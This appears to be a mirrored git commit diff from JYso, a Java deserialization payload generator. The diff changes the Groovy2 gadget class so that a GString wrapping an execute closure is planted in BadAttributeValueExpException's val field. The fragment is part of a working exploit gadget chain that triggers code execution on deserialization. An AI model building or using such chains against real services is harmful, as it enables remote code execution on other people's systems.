mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-24 15:51:53 +08:00
add 7gadgets (降级groovyt适配新gadget)
This commit is contained in:
@@ -25,9 +25,8 @@ public class Groovy2 implements ObjectPayload<Object> {
|
||||
Reflections.setFieldValue(execute,"maximumNumberOfParameters",0);
|
||||
}
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, gString);
|
||||
Reflections.setFieldValue(val,"val",gString);
|
||||
Reflections.setFieldValue(gString,"values",(new Object[]{execute}));
|
||||
return val;
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user